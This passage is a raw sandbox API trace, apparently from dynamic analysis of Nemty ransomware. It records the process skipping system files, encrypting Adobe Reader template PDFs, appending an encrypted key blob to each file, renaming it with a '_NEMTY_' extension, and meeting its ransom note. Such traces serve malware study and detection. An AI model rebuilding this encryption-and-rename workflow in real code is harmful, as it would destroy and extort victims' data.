pdwDataLen=0x653e5d0*=0x100) returned 1 [0171.832] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0171.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340240 [0171.832] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340240, pcchString=0x653e5dc | out: pszString="uq6cfTnKm4HZy/c/+3/iYa3/QzKU9rVM3f4Lm63ybeLW1yL6nzBRX+nfsMnFk71/\r\nF1ih7EB7CtSrUAqK0p2h0OgwLIUXMPaO2rtDjxC5nvY80H26AY5ZNVtMhMVZz/s9\r\n15XpzEdsLw/mrlPBuo4ziYhbuH/E+x0FldWMo4dLA+1Zv9AT3cTWfEd9ScawCiSS\r\nzRk7PY3muX1Rayt5gZktML8MywodAFhyFLS8CGOGHiDqk/cfEM0bEl/9iPy4P8Tv\r\nwiSbThPL3z7IMshdU4ZzV9TUbdlDSVC0ZHzidIUphYWZq32AbaqnUfX6wxBHUSo1\r\nctF6VkuqkBBDNdaF5XpjFg==\r\n", pcchString=0x653e5dc) returned 1 [0171.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0171.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0171.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0171.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340240 [0171.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0171.832] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nld\\adobeid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0171.833] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=67881) returned 1 [0171.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10920) returned 0x6352c48 [0171.833] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.833] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x10920, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x10920, lpOverlapped=0x0) returned 1 [0171.839] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.839] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x10920, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x10920, lpOverlapped=0x0) returned 1 [0171.840] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0171.840] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=67881, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x10929 [0171.840] WriteFile (in: hFile=0x3b0, lpBuffer=0x6340240*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340240*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0171.840] CloseHandle (hObject=0x3b0) returned 1 [0171.840] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403b0 [0171.840] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0171.840] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.840] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0171.840] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.840] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.840] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340458 [0171.840] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0171.840] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0171.840] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.840] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nld\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nld\\adobeid.pdf._nemty_kgobjgd_")) returned 1 [0171.842] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0171.842] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0171.842] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0171.842] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0171.842] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0171.842] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0171.842] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.842] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0171.842] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10405, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="DEFAUL~1.PDF")) returned 1 [0171.842] lstrcmpiW (lpString1="DefaultID.pdf", lpString2=".") returned 1 [0171.842] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="..") returned 1 [0171.842] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="...") returned 1 [0171.842] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="windows") returned -1 [0171.842] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="$RECYCLE.BIN") returned 1 [0171.842] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="rsa") returned -1 [0171.842] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="NTDETECT.COM") returned -1 [0171.842] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="ntldr") returned -1 [0171.842] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="MSDOS.SYS") returned -1 [0171.842] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="IO.SYS") returned -1 [0171.842] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="boot.ini") returned 1 [0171.842] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="boot.ini") returned 1 [0171.842] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0171.842] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="ntuser.dat") returned -1 [0171.842] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="desktop.ini") returned -1 [0171.842] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="CONFIG.SYS") returned 1 [0171.843] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="RECYCLER") returned -1 [0171.843] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="BOOTSECT.BAK") returned 1 [0171.843] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="bootmgr") returned 1 [0171.843] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="programdata") returned -1 [0171.843] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="appdata") returned 1 [0171.843] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.843] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0171.843] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0171.843] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.843] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0171.843] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0171.843] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.843] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.843] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.843] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0171.843] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e8e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0171.843] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.843] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.843] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0171.843] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e918, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0171.843] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.843] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0171.843] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0171.843] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0171.843] Sleep (dwMilliseconds=0x5) [0171.847] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1a136fb0, dwHighDateTime=0x1d561e8)) [0171.847] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1a136fb0, dwHighDateTime=0x1d561e8)) [0171.847] GetLastError () returned 0x0 [0171.847] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.847] GetLastError () returned 0x0 [0171.847] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.848] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.848] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0171.848] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0171.848] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0171.848] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340240 [0171.848] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340240, pcchString=0x653e5dc | out: pszString="7EYgnYSU9JfEhui69E9yh/X1POx+sH6JLqw1W6MqzIePq48YBMDyIoVT7twD46mV\r\nUuU9TiCJdemGWBhyzbXQvj6eeP38fK/i+dO8C279cOVMJGqjrOmHNaA0oQf0JEmG\r\nVdYRBNTQMOhvxC54TcYhnMlayxDGbfQVwUl/8Ju44ggBuI7+zXoxrEGvbYjbvZ3f\r\nehlvNqPkd4Sy6or2PtZc29sluNHcSU166P67Fqws6fi/MV8njgKD1KPgfNi3WYAu\r\nFlIfU3enpa0nX2wmBYynuIdg+wlSWk7T5kMIRQ7xEScX+6cuIw9gd+ABaZCDJONR\r\nUmNiorjP17tvnIa7NDcitg==\r\n", pcchString=0x653e5dc) returned 1 [0171.848] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0171.848] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0171.848] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.848] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0171.848] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340240 [0171.848] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0171.848] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nld\\defaultid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0171.848] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=66565) returned 1 [0171.848] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10400) returned 0x6352c48 [0171.848] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.848] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x10400, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x10400, lpOverlapped=0x0) returned 1 [0171.854] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.854] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x10400, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x10400, lpOverlapped=0x0) returned 1 [0171.854] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0171.854] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=66565, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x10405 [0171.854] WriteFile (in: hFile=0x3b0, lpBuffer=0x6340240*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340240*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0171.854] CloseHandle (hObject=0x3b0) returned 1 [0171.854] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403b0 [0171.854] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0171.854] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.854] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0171.855] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.855] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.855] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340458 [0171.855] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0171.855] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0171.855] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.855] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nld\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nld\\defaultid.pdf._nemty_kgobjgd_")) returned 1 [0171.855] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0171.855] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0171.855] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0171.855] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0171.855] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0171.855] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0171.855] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.855] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0171.855] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a0c4b90, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1a0c4b90, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a0c4b90, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0171.855] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0171.855] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0171.855] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0171.855] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0171.855] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0171.855] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0171.855] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0171.856] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0171.856] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0171.856] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0171.856] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0171.856] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0171.856] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0171.856] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0171.856] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0171.856] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0171.856] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0171.856] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0171.856] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0171.856] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0171.856] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0171.856] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.856] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0171.856] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.856] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0171.856] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.856] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0171.856] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0171.856] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.856] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0171.856] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.856] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0171.856] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.856] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.856] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0171.856] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.856] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0171.856] HeapFree 